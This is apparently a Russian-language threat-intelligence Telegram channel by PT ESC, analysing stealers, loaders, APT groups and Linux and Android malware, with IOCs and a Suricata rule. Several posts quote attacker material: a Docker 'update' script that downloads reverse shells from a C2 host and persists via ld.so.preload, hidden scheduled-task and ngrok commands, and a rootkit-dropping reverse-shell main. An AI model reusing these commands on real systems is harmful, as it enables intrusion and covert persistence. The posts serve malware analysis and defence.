ESCalator
3.98K subscribers
227 photos
1 video
1 file
95 links
Tips and tricks от команды экспертного центра безопасности Positive Technologies (PT ESC)
加入频道
Учимся восстанавливать импорты VMProtect ⚙️

VMProtect — один из самых используемых протекторов ВПО. При этом зачастую злоумышленники ленятся и используют лишь простые опции защиты — обфускацию точки входа и импортов.

Ранее мы уже научились настраивать виртуальную среду для отладки ВПО, а также познакомились с эмулятором Speakeasy. Воспользуемся этими знаниями, чтобы попытаться восстановить импорты VMP.

Сдампим процесс (важно, чтобы в нем на момент дампа была достигнута OEP, тогда VMP инициализирует все внутренние структуры для работы), откроем дамп в IDA и позволим ей разметить символы библиотек.

Далее посмотрим, как выглядят обфусцированные импорты (скриншот 1). Видно, что VMP вставил вызов на свою секцию вместо вызова оригинальной библиотеки, а вызываемая функция состоит из кучи (на первый взгляд) мусорных инструкций.

❗️ Однако это не совсем так. Если провалиться в этот вызов в отладчике, то в какой-то момент на стеке окажется настоящий адрес API. Пример трассировки смотрите на скриншоте 2.

Попробуем это автоматизировать. Для начала необходимо собрать интересующий нас список вызовов. Логика простая: вызов идет из текстовой секции в секцию VMP (скриншот 3). Для краткости будем считать, что адреса этих секций в дампе нам уже известны.

Напишем логику для разрешения полученных адресов, для этого загрузим модуль из дампа как шеллкод в Speakeasy и добавим хук с проверкой каждой инструкции на ret. Дополнительно ограничим максимальную глубину трассировки и будем сохранять количество шагов для каждого импорта. Итоговое содержимое хука, а также функцию инициализации шеллкода в эмуляторе можно увидеть на скриншоте 4.

Функция запуска эмулятора представлена на скриншоте 5. Он выполняется несколько раз, чтобы обойти ситуацию, когда после выполнения нескольких мусорных инструкций повреждается его внутреннее состояние и попытки прочитать что-то после всегда завершаются ошибками.

Теперь объединим все вместе и посмотрим на результаты (скриншот 6). Опираясь на собранную информацию, можно разметить большую часть импортов в исходном образце.

👀 Итого: мы научились минимальными усилиями восстанавливать импорты VMP, что значительно упрощает анализ таких образцов. При желании можно применить аналогичный подход для запущенных процессов, а также пропатчить и пересобрать образец с правильными адресами API, как это делает, например, vmpdump.

#ti #malware #tip #VMProtect
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Стилерная инфекция: новый USB-штамм 👾

Сегодня расскажем про обнаруженную нами необычную модификацию стилера WorldWind. Это самый что ни на есть настоящий вирус, передающийся через тесный контакт зараженного устройства с USB-носителем и вызывающий не только утечку конфиденциальной информации, но и потерю бесценной коллекции ПО на внешних дисках.

Находка, как и ее предшественники, все также продолжает использовать сервисы icanhazip, mylnikov.org + Google Карты для определения внешнего IP-адреса и геолокации (скриншот 1). Реализация модуля сбора информации тоже не изменилась, за исключением пары структур.

🐔 Мутации же затронули сетевую часть и набор функций стилера. Теперь он не передает информацию через Telegram. Вместо этого сообщения улетают на С2-сервер злоумышленников в следующем порядке: checkin → exfiltration → close. Форматы этих сообщений представлены на скриншоте 2.

Из стилера также пропали функции для кражи VPN-конфигов и паролей от игровых лончеров и Wi-Fi. Но взамен развилась способность агрессивно распространяться через USB-носители. Если на внешнем диске есть экзешники, то стилер удалит их и запишет себя под их именами (скриншот 3).

Не находите, что повеяло старыми добрыми временами дикого вирусописательства? 😏

Чтобы уменьшить риск заражения, ставьте сигнатурные прививки и проходите антивирусные осмотры.

Заодно давайте покроем стилер правилом, детектирующим checkin:


alert tcp any any -> any any (msg: "STEALER [PTsecurity] WorldWind checkin"; flow: established, to_server; stream_size: client, <, 80; stream_size: server, =, 1; content: "|46 00 00 00|"; startswith; fast_pattern; content: "{|22|id|22 3a| 0"; within: 8; content: "|22|hwid|22 3a|"; within: 10; content: !"|20|"; distance: 2; within: 32; content: "|22|country|22 3a|"; distance: 32; content: !","; distance: 0; classtype: trojan-activity; metadata: malware_family WorldWind; sid: 1; rev: 1;)


IOCs:


84d52de2b69e14f26259da07297e02eb2c4ac32045a690f65a267fe931da0433
20.208.136.72:12346


Будьте здоровы и happy hunting!

#hunt #C2 #detect #ioc #malware #network #suricata
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Да что не так с этим AES?

Злоумышленники часто применяют шифрование для обфускации частей образцов ВПО, которые могут представлять наибольший интерес при исследовании. Когда аналитик обнаруживает такие участки кода, он изучает алгоритм шифрования, и иногда, быстро узнав алгоритм, не видит смысла изучать его полностью.

На примере одного из семейств ВПО, замеченного в атаках на Латинскую Америку, разберем случай, в котором применяется продвинутая техника шифрования, но прячется она внутри самой, казалось бы, классической.

👾 Grandoreiro — бразильский банковский троян, который активен с 2016 года по сегодняшний день. Он доставляется в систему с помощью загрузчика, который получает ссылку на скачивание полезной нагрузки от С2-сервера.

Предыдущие схемы дешифрования строк в Grandoreiro (в частности, в загрузчике) включали кастомное декодирование зашифрованных строк, ключа AES и IV путем простой замены. Эти компоненты дешифровались с помощью XOR, и далее шифротекст расшифровывался окончательно с помощью ключа AES и IV в режиме AES CBC 256 бит.

🧐 При анализе недавних образцов Grandoreiro была замечена новая для этого семейства техника шифрования, которая применяется для усложнения анализа, — Ciphertext Stealing (CTS). Это режим шифрования, который используется, когда открытый текст не кратен размеру блока.

Например, одна из наиболее известных схем паддинга (PKCS #7) дополняет последний блок байтами, чтобы гарантировать, что он по размеру совпадает с полным блоком. CTS работает без паддинга. Его работу мы заметим над последним неполным блоком данных (который не кратен размеру блока).

Что именно происходит:

1️⃣ Шифруется последний полный блок.

2️⃣ Зашифрованный последний полный блок «ксорится» с частичным (неполным) блоком.

Такой способ предоставляет возможность шифровать открытый текст произвольной длины без добавления паддинга, сохраняя исходный размер данных.

Чтобы на практике понять, как это работает, посмотрим на реализацию алгоритма:


cipher = AES.new(aes_key, AES.MODE_ECB)
encr = b"\x00"*16
initial_key = cipher.encrypt(encr) # your value here

block_size = 16
total_blocks = len(ciphered_data) // block_size
decrypted_data = bytearray()
previous_block = initial_key

if total_blocks:
# Decrypt all complete blocks
for i in range(total_blocks):
current_block = ciphered_data[i * block_size:(i + 1) * block_size]
key = previous_block
decr_block = cipher.decrypt(current_block)
decrypted_data.extend(bytes(x ^ y for x, y in zip(decr_block, key)))
previous_block = current_block

# Handle the last block with ciphertext stealing
if len(ciphered_data) % block_size > 0:
last_full_block = previous_block
if total_blocks:
last_full_block = cipher.encrypt(last_full_block)[:len(ciphered_data) - (i + 1) * block_size] #take as much bytes off of the last full block (encrypted) as remained yet to decrypt (ciphertext)
partial_block = ciphered_data[(i + 1) * block_size:len(ciphered_data)] #bytes left to decrypt, not a multiple of the block size
else:
last_full_block = cipher.encrypt(last_full_block)[:len(ciphered_data)]
partial_block = ciphered_data[:len(ciphered_data)]

stolen_block = bytes(x ^ y for x, y in zip(partial_block, last_full_block))
decrypted_data.extend(stolen_block)


Метод довольно оригинальный, и в Grandoreiro он прячется внутри функций, которые реализуют обычный, на первый взгляд, AES.

Поэтому, прежде чем начинать писать скрипты расшифровки, видя заветную аббревиатуру, следует посмотреть на код внимательно — убедиться, что используется действительно классическая версия алгоритма, и не тратить часы в поиске ответа на вопрос «ну почему оно не расшифровывается?».

#TI #tip #malware
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Опять стилер на Python?! 🫣

С начала сентября мы фиксируем атаки, которые на первый взгляд можно отнести к активности группировки Lazy Koala. В качестве C2-сервера для эксфильтрации скомпрометированных данных используется телеграм-бот, а названия приманок похожи на названия тех файлов, которые Lazy Koala применяла в атаках:


Исковое_заявление_о_взыскании_убытков_и_морального_вреда_в_связи_с_нарушением_условий_договора_№1234_от_28_августа_2024_года_и_неудовлетворением_претензии.exe
Претензия_о_нарушении_договорных_обязательств_и_требование_возмещения_ущерба_по_договору_№1234_от_28_августа_2024_года.exe


Но при дальнейшем изучении кода стилера, который мы назвали MarkerStealer (из-за артефакта script_executed.marker), а также телеграм-ботов связи с группировкой установить не удалось.

👾 Сам же MarkerStealer имеет стандартную для всех стилеров функциональность: позволяет получать учетные данные и куки из браузеров и проводить их эксфильтрацию на C2-сервер.

Единственное, что выделяет его на фоне других, — создание так называемого маркера по пути %TEMP%\script_executed.marker, сигнализирующего о том, что стилер уже отработал. У маркера есть время жизни: если при повторном запуске MarkerStealer время создания %TEMP%\script_executed.marker превышает сутки, тогда вредонос по новой собирает учетные записи и куки из браузеров.

IoCs:


1b9f8a0edfedb141753d080f6200573f75d275d0d5b62bba6008e1a0424a1846
3e32ab015ad7a1c35faf649dd0dfd50084918e0ffde65c5911409a659e049022
7b8f901160f567e8fe1294dcc5477da08f1bb133935a679ac5f704df2ab2862b
37e17898d9e6e4950fe9639cbb5f4102df6cfb7b3e236120b036a0d2c5362815
7572f826e9ccde9183537afb6146c844fea177bc3b6053e27f35190d0a71f507
12458b8e63d084d161dc24b3a3d46967c9bc1ad9613deb26d76f378a34869301
400269ef55144512f0ceb74854c7d913f6aa4650de8ecf096487727895f8bc80
274784844d3c112127b7a5e7d8b60d2f256aad4c56c6e07ba681186764d63396
cd10cc5a6c69d8cffedcb80e79985c9762ab0f0853298981ce13991d51642b40
e4a6e228e88504bc622a50fdeb3f2c264466a6bc7283136675cc4f2c6aa11ca6
2ecdd29bd72d001186ca2c9946e7e8e16da84c45678d66abfde8d940cf78df09


#TI #Malware
@ptescalator
PrevedMedved 👋 — это снова Lumma Stealer

В середине ноября группа киберразведки PT ESC зафиксировала кампанию по распространению вредоносного программного обеспечения Lumma Stealer и NetSupport RAT. В качестве источника заражения использовался GitHub-репозиторий, доступный по адресу github.com/NonaDoc/Nonadoc/releases/tag/defi_prive.

Вредоносный контент находился в разделе tag, в то время как основная ветка репозитория была удалена. Учетная запись GitHub, используемая для размещения материалов, зарегистрирована под именем prevedmedved6724993 и связана с почтовым адресом [email protected].

🧤 В ходе анализа репозитория было замечено, что размещенные приманки и вредоносные файлы регулярно заменяются новыми (скриншот 5). Средняя частота обновления составляет около одной недели. Злоумышленники делают упор на использование фишинговых файлов-ловушек, мимикрирующих под документы различных организаций.

Первым к нам в руки попал LNK-файл Anketa_energosale.docx.lnk (скриншот 1), хранящийся на сайте energosale34.download. После запуска файл устанавливает Lumma Stealer из вышеупомянутого GitHub-репозитория и NetSupport RAT с С2-сервера злоумышленника для закрепления на устройстве жертвы. Фишинговый документ Anketa_energosale.docx (скриншот 3), якобы связанный с организацией «Волгоградэнергосбыт», был доступен для загрузки из того же репозитория.

🫡 В процессе изучения атаки выявлены и другие схемы, где вместо фишингового документа рассылался, например, файл, замаскированный под повестку в военкомат (скриншот 2). LNK-файл povestka_378478112.pdf.lnk хранился на узле 80.78.27.201, а сопутствующие файлы, включая вредоносное ПО и приманки, также размещались в GitHub-репозитории.

Примечательно, что автором всех документов-приманок в метаданных указана Галлямова Римма Абдулнуровна. Это может быть попыткой отвлечь внимание или дополнительной частью фишинговой стратегии.

Согласно данным VirusTotal, семплы Lumma Stealer определяются как вредоносные лишь тремя антивирусными решениями. Этот факт свидетельствует о высоком уровне обфускации и уникальности вредоносного ПО — большинству систем защиты трудно его обнаружить.

Атаки проводились на протяжении всего ноября. Злоумышленники активно обновляют свои инструменты, в том числе вредоносные файлы и приманки, а мы продолжаем мониторинг. Подобная схема распространения ВПО уже была описана ранее, но не затрагивала пользователей из стран СНГ.

IoCs:

LNK-файл:
90301696accc600a3fc2a1419d0c73566a19f42424d2da6e6f215a83ba3895e6
68d0373fc7fcd74d7379f8175a894194ac285f98810359a7f48978ef15f5283e
96bd372f8a4e39e0e6e629994a2b284432c9e5a0a48e1f46100a0a6b0ce349bd
989dd914ccbd2df2a36f0500d0bdac9e286cdf39d53ab72d18f11bc726a692e8

Lumma Stealer:
26be491b59e98932bf12985cd6a24d5a0be33ee92767b19b41fe2917deb96f79
8762d87be2998ca50229e9b51a2a7700bbb1fd75b99864d05b4d630a5e091014
b0d738f7003d5bb5d7c5d0dc9441e45367fad635cbf505f129df48f8155e38a2
61e985cf63a414c5db76d1f57d9801e6d7dba106e8a8dc73ad29b53044c3c68f

NetSupport RAT:
860393e31788499f8774be83c65bcf29658cc77bf96ee2f4c86b065aedbf77de
176f7e61d26c33df91425f063c6494d6cd63f4de2654de3d72158a272bb03ae5

Файлы:
Anketa_energosale.docx.lnk
povestka_378478112.pdf.lnk
Anketa_energosale.docx.lnk
520a7afb8367e14661b412c65b9a805d.virus
Anketa_energosale[1]
poqexec.exe
Povestka_34.png
Anketa1
anketa_miner[1]

Домены:
energosale34.download
yiars.com
thisbusylife.com
abxweb.com
pdfbypari.com
kokachi.com
kokachi334.com

URL:
https://github.com/NonaDoc/Nonadoc/releases/tag/defi_prive

IP-адреса:
94.232.43.219
80.78.27.201
80.78.24.5

Метаданные:
dc:creator: «Галлямова Римма Абдулнуровна»

Эл. почта:
[email protected]


#TI #Phishing #Malware #IOC
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
😏 Полезные инструменты: Mandiant capa

Представьте ситуацию: вы вирусный аналитик или специалист по расследованию инцидентов и вам необходимо в короткие сроки проанализировать большой объем бинарных файлов. В рамках этого анализа требуется разделить безвредные и потенциально опасные файлы и для последних определить их функции и предположительную роль в цепочке компрометации зараженного узла. Все это будет вам нужно для формирования картины атаки, а также для расстановки приоритетов при реагировании.

😐 Отделить хорошие файлы от плохих вы можете, например, с помощью белых списков хеш-сумм файлов, а вот с быстрым определением функций могут возникнуть трудности, так как это требует от аналитика большой насмотренности по части анализа вредоносного ПО.

К сожалению, такие распространенные инструменты, как средства просмотра строк (например, strings или FLOSS), а также анализаторы PE-файлов (например, Detect It Easy или CFF Explorer) отображают только самый низкий уровень детализации и не предлагают пользователям помощи в интерпретации полученных данных.

😠 Для решения задачи оперативного анализа кода и поиска реализованных в программе вредоносных техник можно применить сканирование с помощью эвристических движков. Эти движки используют набор правил, которые направлены на выявление специфических участков кода или отдельных артефактов, характерных для определенных техник. Хорошим примером такого движка является capa от Mandiant.

Проанализировав интересующий вас файл с помощью этого инструмента, вы можете получить перечень задетектированных техник, как например на скриншотах 1 и 2.

☹️ Как работать с этими данными? Чтобы выявить ВПО, можно поступить следующим образом:

1️⃣ Проанализировать все имеющиеся правила capa.

2️⃣ Выставить для каждого из них рейтинг опасности (например, в виде числа от 0 до 10).

3️⃣ Задать пороговое значение для классификации файла как вредоносного.

4️⃣ Суммировать рейтинги детектов анализируемого файла и сравнить их с пороговым значением: если сумма рейтингов больше, значит файл потенциально вредоносный.

Таким образом, вы сможете быстро классифицировать большие наборы файлов, а главное — понять, чем они могут навредить.

🫰 Но можно копнуть глубже и использовать capa как вспомогательный инструмент для реверса. Тут нам поможет тот факт, что детекты capa позволяют локализовать место в коде файла, где была реализована та или иная техника (скриншот 3).

Благодаря этому, если цель реверса сводится к уточнению реализации тех или иных вредоносных механизмов, удастся ускорить их обнаружение.

🤌 Ну и в качестве третьего, более специфического сценария, можно рассматривать capa как инструмент для помощи в поиске схожих образцов вредоносного ПО.

В силу того, что в capa довольно много различных правил детектирования, для анализируемых файлов можно сформировать профили детектов, которые, при достаточном количестве, будут относительно уникальны. Если при анализе потока вредоносного ПО вам будут попадаться файлы со схожими профилями, то их можно брать для сравнения и выявления новых версий семейств ВПО.

#tip #tool #malware
@ptesaclator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🚘 Один ленивый драйвер

Недавно группа киберразведки PT ESC обнаружила исполняемый файл с «необычным» названием, подкрепленным выделяющейся иконкой PDF-файла:

Исх 3548 о формировании государственных заданий на проведение фундаментальных и поисковых исследований БГТУ «ВОЕНМЕХ» им. Д.Ф. Устинова.exe


Не поддаемся на уловки злоумышленников и определяем, что данный файл представляет собой модуль, написанный на C#, и бежим в dnSpy. К счастью, не наблюдаем значительных следов обфускации и начинаем разбираться. В глаза бросаются «встроенные» в ресурсы файлы: faylyk, OneDrive, OneDriver и Исх_по_списку_БГТУ_ВОЕНМЕХ.pdf.

1️⃣ faylyk — это иконка, которая будет отображаться в трее при запуске программы;

2️⃣ OneDrive — легитимная копия программы от Microsoft OneDrive;

3️⃣ Исх_по_списку_БГТУ_ВОЕНМЕХ.pdf — декой, легитимный документ.

🧐 А вот OneDriver — что-то необычное, что-то такое, что сразу приковывает внимание.

Проследовав в точку входа, убеждаемся, что наибольший интерес представляет класс MyCustomApplicationContext, в котором видим манипуляцию с файлами из ресурсов:
Исх_по_списку_БГТУ_ВОЕНМЕХ.pdf записывается по пути %APPDATA%\Documents, OneDrive по пути C:\Users\Public\OneDrive.exe, а OneDriver.exe записывается по пути %APPDATA%\Driver\OneDrives_v2_1.exe и добавляется в автозагрузку, путем создания LNK-файла в директории %APPDATA%\Microsoft\Windows\Start Menu\Programs\StartUp.

Чтобы отвести внимание, загрузчик одновременно открывает записанный декой PDF-файл и загрузчик OneDriver.exe.

🦥 LazyOneLoader (так мы назвали OneDriver.exe) представляет из себя загрузчик, написанный на языке Go. Данный загрузчик достаточно тривиален, но обладает некоторыми особенностями.

Принцип работы достаточно прост: имеется зашифрованный буфер, сохраненный в формате base64, который в процессе работы программы расшифровывается, используя операцию xor с ключом 4c776449576c50636c5a507251.

Следом запускается процесс OneDrive.exe, полученный на предыдущем шаге, в статусе SUSPENDED, в котором выделяется память, используя LazyDLL для общения с Native-функциями (VirtualAlloc). В эту память копируется буфер с расшифрованным шеллкодом, и, используя LazyDLL (а именно функцию VirtualProtect), меняются флаги памяти на Executable.

И, наконец, используя функцию QueueUserAPC, создается объект асинхронной функции, который начинает своt выполнение после вызова функции ResumeThread главного потока программы.

💤 К сожалению, получить конечный пейлоад, определяемый этим загрузчиком, на данный момент не представляется возможным: злоумышленник деактивировал свою С2-инфраструктуру (домен phpsymfony.com). Но мы предполагаем, что следующими этапами атаки является загрузка давно известного Cobalt Strike, а следом и дальнейшее горизонтальное перемещение.

IoCs:

Исх 3548 о формировании государственных заданий на проведение фундаментальных и поисковых исследований БГТУ «ВОЕНМЕХ» им. Д.Ф. Устинова.rar
ab310ddf9267ed5d613bcc0e52c71a08
e1b88c619da8f0630e2879ab22d580ba41b36a62
14b1cd92b0a95ec76b31b0c2ec498b90d82054206f1056a58844513f89baeb55

Исх 3548 о формировании государственных заданий на проведение фундаментальных и поисковых исследований БГТУ «ВОЕНМЕХ» им. Д.Ф. Устинова.exe
fad1ddfb40a8786c1dd2b50dc9615275
34918c4d41e69dafe953fee14416f18d5e849081
ad80cbf12e5bee38a197f7bcafbe24983fdd3df6915e5a33a01f0311685e8b24

Исх\_по\_списку\_БГТУ_ВОЕНМЕХ.pdf
4c771efafb9141633ca83df3b21ad365
5f01f5f77239fb304777ce481bc3cbad40d964d4
420866ad15d5de2a6cdfab7ca317e5b20090098ad905d7cac784719f3e33360c

OneDrives_v2_1.exe
cac4db5c6ecfffe984d5d1df1bc73fdb
ef559b3e1c89fd03c427de706a1ce1fed2ae17aa
fdf0ea5d761352791545b1af0223853b31592996600c4ee5f1122e546c6165d3

phpsymfony.com


#TI #malware #ioc
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Стиль гадюки 🐍

Может ли злоумышленник использовать всем известные инструменты и оставаться незамеченным более полутора лет? Наш ответ — да.

В середине октября 2024 года департамент киберразведки экспертного центра безопасности Positive Technologies (PT Expert Security Center) зафиксировал таргетированную рассылку Revenge RAT, нацеленную на сотрудников финансовых подразделений российских компаний.

Особое внимание привлекли необычные африканские названия управляющей инфраструктуры злоумышленников. Углубившись в исследование, мы выявили и отследили новую, ранее не описанную APT-группировку, атакующую российские компании как минимум с мая 2023 года.

В связи с использованием африканских названий, регулярными обновлениями семплов и приманок, «пятнистостью» названий вредоносных файлов и продолжительной скрытностью в киберпространстве мы назвали группировку DarkGaboon — в честь африканской габонской гадюки, которую можно встретить в окрестностях стратовулкана Килиманджаро.

😏 Подробнее о группировке и ее техниках вы можете прочитать в исследовании на нашем сайте.

#TI #APT #Malware
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Rare Wolf готовится к охоте 🐺

Команда киберразведки PT ESC стабильно отлавливает новые серверы управления, используемые группировками, а также инструменты, задействованные в атаках. На днях мы наткнулись на артефакты, которые говорят о том, что группировка Rare Wolf находятся на стадии подготовки новых атак: выявлены семплы вредоносной нагрузки и новые подходы к закреплению.

Группировка Rare Wolf впервые была описана коллегами в конце 2023 года. В сентябре 2024 года изменения в поведении атакующих (уже под другим названием — Librarian Ghouls) были описаны другими исследователями. Изначально в ходе атаки собирались данные офисных документов и сессий Telegram, а в прошлом году группировка начала охотиться за файлами, связанными с программами автоматизированного проектирования и разработки, такими как AutoCAD и SolidWorks.

🔗 Новая цепочка атаки — смесь предыдущих атак с новыми инструментами и подходами, тестируемыми группой.

Жертве направляется файл .scr/.exe, мимикрирующий под легитимный документ. При открытии исполняемого файла создается все тот же скрипт cmd, но под новым именем, find.cmd, и запускается документ-заглушка. Скрипт отвечает за запуск следующих этапов атаки: скачивание инструментов для последующей атаки, настройку данных для отправки найденной информации по почте и установку AnyDesk. Среди новых шагов мы приметили следующие.

Использование ngrok:

C:\Users\admin\AppData\Roaming\Windows\driver.exe x -r -ep2 -hplimpid2903392 C:\Users\admin\AppData\Roaming\Windows\pas.rar ngrok.exe C:\Users\admin\AppData\Roaming\Windows\ /y


Добавление новой запланированной задачи Find update для запуска ngrok в скрытом режиме с помощью утилиты NirCmd:

schtasks /create /tn "Find update" /tr "C:\Users\admin\AppData\Roaming\Windows\nircmd.exe exec hide C:\Users\admin\AppData\Roaming\Windows\task.bat" /sc onlogon /rl highest /f


Изменение рабочей директории: теперь вместо скрытой папки C:\Intel используется %APPDATA%\Windows.

Модернизирован также файл bat.bat. Теперь он отвечает за сбор данных о системе, их отправку на почтовый сервер и запуск нового ssh.ps1, который открывает 22-й порт и запускает сервис sshd. А добавленный в автозапуск task.bat, возможно, написанный с помощью нейросети (судя по комментариям на русском языке в коде), отвечает за запуск ngrok и его скрытие с помощью NirCmd, чтобы пользователь не видел консольного окна.

В предыдущих атаках rezet.cmd собирал файлы по расширениям (doc, docx, pdf и т. п.), а bat.bat искал данные, связанные с криптокошельками. В новых семплах этих действий нет.

Кроме того, в тестируемой злоумышленниками атаке появились файлы ps.ps1 и bat1.bat. Они не запускаются в текущей версии атаки, но тоже предположительно написаны с помощью нейросетей и могут быть предназначены для запуска вручную. Файл bat1.bat сканирует сеть на наличие активных устройств, находит общие папки Users и копирует вредоносный файл .SCR в директории Downloads, Desktop и Public. Затем он запускает ps.ps1, который ставит в автозагрузку запуск Edge и удаляет предыдущий скрипт.

🕵️ IoCs опубликовали в Telegraph.

#TI #APT #Malware
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
(Ex)Cobalt в контейнере 🛂

В ходе реагирования на компьютерный инцидент команда PT ESC IR установила факт закрепления злоумышленников в Docker-контейнерах.

Анализируя дамп с узла, на котором установлен Docker, мы обнаружили образцы ВПО в директории /var/lib/docker/overlay2/[a-z0-9]+/diff/usr/bin/.+. Она содержит слои контейнеров:

/var/lib/docker/overlay2/[REDACTED]/diff/usr/bin/processes — Reverse SSH
/var/lib/docker/overlay2/[REDACTED]/diff/usr/bin/checks — ExСobalt Reverse SSH


Стало понятно, что мы обнаружили заражение внутри одного из контейнеров. Для дополнительного анализа мы получили Docker-образ, на основе которого создавался контейнер. Пример команды:

docker save myimage:latest | gzip > myimage_latest.tar.gz


Анализ истории показал, что атакующим удалось модифицировать образ путем выполнения двух команд: COPY, которая копировала файл update в образ, и команды запуска скрипта /bin/bash /update. Затем модифицированный образ был загружен в локальный Docker Registry.

{
"created": "2023-08-11T01:13:12",
"created_by": "/bin/sh -c #(nop) COPY file:[REDACTED] in / "
},
{
"created": "2023-08-11T01:13:18",
"created_by": "/bin/sh -c /bin/bash /update"
}


Далее в одном из слоев образа мы обнаружили самоудаляющийся sh-скрипт update:

#!/bin/bash
rm -- $0
apt update
apt install wget curl -y
apt-get clean autoclean
apt-get autoremove --yes
wget -q [REDACTED]:8000/bin/rev_sh_dns -O /usr/bin/checks
wget -q [REDACTED]:8000/bin/rev_ssh -O /usr/bin/processes
wget -q [REDACTED]:8000/lib/libssoc.so.3h -O /usr/lib/x86_64-linux-gnu/libssoc.so
chmod +x /usr/bin/checks /usr/bin/processes /usr/lib/x86_64-linux-gnu/libssoc.so
echo "/usr/lib/x86_64-linux-gnu/libssoc.so" >> /etc/ld.so.preload


Скрипт подгружал образцы ВПО с управляющего сервера в образ, а также для закрепления прописывал их в /etc/ld.so.preload.

/usr/lib/x86_64-linux-gnu/libssoc.so — образец ExСobalt Launcher запускает процессы /usr/bin/checks и /usr/bin/processes.

🧐 Расследование показало, что атакующие модифицировали Docker-образ создаваемых контейнеров и таким образом не только закрепились в скомпрометированной инфраструктуре, но и получили контроль над вновь создаваемыми контейнерами.

Чтобы предотвратить подобные компьютерные инциденты, рекомендуется проверять ОС, а также функционирующие на устройствах Docker-контейнеры и конфигурационные файлы / скрипты, участвующие в сборке.

IoCs:

leo.rpm-bin.link
mirror.dpkg-source.info

e49b72e58253f4f58f9c745757eb3ab0
3bd5560b50c751c91056bfe654f9bc70
ef587305a462161682f74d0cad139caa


#ir #ioc #malware
@ptescalator
«Прикрепляю данные во вложении» 💌

У нас в гостях сегодня небольшой, но от этого не менее интересный и экспериментальный реверс-шелл для Linux. Хотя реверс-шеллом сейчас сложно удивить, этот образец все-таки смог привлечь к себе наше внимание.

Примечателен он следующим:

• Его «дистрибутив» содержит в своем составе модуль ядра.
• Управление реализовано через электронную почту.

Рассмотрим его детальнее: все файлы объединены в один дроппер, который извлекает и запускает основные компоненты шелла. Всего их три:

1️⃣ messenger.py — транспорт. Этот скрипт получает команды от злоумышленника и отправляет на С2-сервер результат их выполнения, используя IMAP и SMTP.

2️⃣ agent.elf — основной агент. Постоянно опрашивает транспорт для получения команд, исполняет их в интерпретаторе командной строки, сохраняя вывод для последующей передачи на С2-сервер.

3️⃣ maldrv.ko — LKM-руткит. Используется для повышения привилегий агента.

int __cdecl main(int argc, const char **argv, const char **envp)
{
if ( getuid() )
{
fwrite("Agent must be run as root\n", 1uLL, 0x1AuLL, stderr);
return 1;
}
else
{
extract_file("/root/.agent.elf", agent_elf, 30400uLL);
extract_file("/lib/modules/5.15.0-67-generic/kernel/drivers/misc/maldrv.ko", maldrv_ko, 446880uLL);
extract_file("/root/.messenger.py", messenger, 5295uLL);
inject(shellcode_out, 136uLL);
call_all_plugins("/root/.agent.elf");
return 0;
}
}


Всю работу по инициализации выполняет небольшой шеллкод, который инжектится в дочерний процесс. Именно он загружает руткит в ядро через вызов finit_module и запускает агент.

🙌 Модуль maldrv.ko перехватывает системный вызов execve. При передаче определенного аргумента он повышает привилегии вызывающего процесса через commit_creds, после чего агент активирует транспорт для приема команд и передачи их результатов (см. скриншот).

📧 Транспорт messenger.py использует заданный в скрипте почтовый ящик. Для получения команд он раз в 10 секунд забирает из папки inbox письма с темой Command, полученные не ранее текущей даты, забирая таким образом только свежие команды. Саму команду он ищет в части письма с MIME-типом text или plain, записывая ее в файл /root/.output/.output.txt. После получения письмо с командой удаляется из почтового ящика.

Результаты выполнения команд, которые записываются отдельными файлами в каталог /root/.output/, архивируются в ZIP‑файл, который шифруется AES в режиме CBC. Затем «частями» по 40 КБ этот файл отправляется на заданный почтовый ящик. Если в списке почтовых аккаунтов несколько учетных записей — отправление каждой из частей зашифрованного архива распределяется между ними.

👨‍🎓 Очевидно, что наш гость — это некий учебный проект, proof of concept такой вредоносной программы. Да и ограничения IMAP и SMTP не позволяют быстро обмениваться большими объемами данных с С2-сервера. Однако почтовые протоколы довольно часто использовались и в реальных вредоносных кампаниях — достаточно вспомнить активное применение SMTP в Agent Tesla в кампании SteganoAmor.

По каким признакам можно распознать такую активность? Стоит обратить внимание на периодичность коммуникации с почтовым сервером, а также на объем данных с узла, передаваемых по указанным протоколам.

IoCs:

SHA-256:
40BB351F8B5AC6A02CD2A31D1683CC1ADB4C0C949346F51C2746F023004C5361
E908E1F4B799E1B5F38FCC8E6B1300E3604A101CF367D3431D82EEDDD1A02A05
68B3C2E7EF26C0432D7DEBFEB8CBCEE2F557A52B5662B3B3B49DCE21E0B288A4


#ti #malware #tips #ioc
@ptescalator
Лох не мамонт, APK не видео 🦣

В конце 2024 — начале 2025 года в сети активно обсуждалась информация о распространении в Telegram вируса Mamont. Этот банковский троян, представляющий собой вредоносный .apk-файл, встречался нам с именами CBO-Information.apk, Фoтoгpaф.apk, Google Video.apk, Video.apk, Видео.apk, Фото.apk, Photo.apk, Докyмент <Количество штук>.apk и т. п.

При установке на телефон — запрашивает разрешение на установку в качестве приложения для СМС по умолчанию. При закрытии скрывает от пользователя свое присутствие в системе, убирая значок из меню на главном экране. При этом в фоновом режиме собирает информацию об установленных приложениях, о сим-картах, СМС-сообщениях, вызовах, а также другие пользовательские данные и отправляет их на управляющий сервер.

🔑 Пути проникновения на ваш Android

Неизвестный отправляет вам в мессенджере файл с расширением .apk и спрашивает, не вы ли изображены на фото или видео. Иногда требует срочно открыть архив с документами, который представляет собой .apk-файл.

Вирус также может попасть на устройство:

• через фишинговые сайты;
• через QR-коды для вступления в закрытые группы, каналы и т. п.;
• под видом легитимных приложений (.apk-файлы не с официальных магазинов);
• при наличии физического доступа у злоумышленника.

🔐 Как не попасться

1️⃣ Будьте более внимательными:
• не переходите по ссылкам из сообщений, не посмотрев, куда они ведут;
• не вводите данные учетной записи на подозрительных ресурсах;
• избегайте сканирования QR-кодов в общественных местах (они могут вести на фишинговые сайты);
• не открывайте файлы из недоверенных источников.

2️⃣ Настройте конфиденциальность в мессенджере. Вы можете запретить приглашать вас в группы и отключить получение СМС-сообщений от незнакомых пользователей («Настройки» → «Конфиденциальность»).

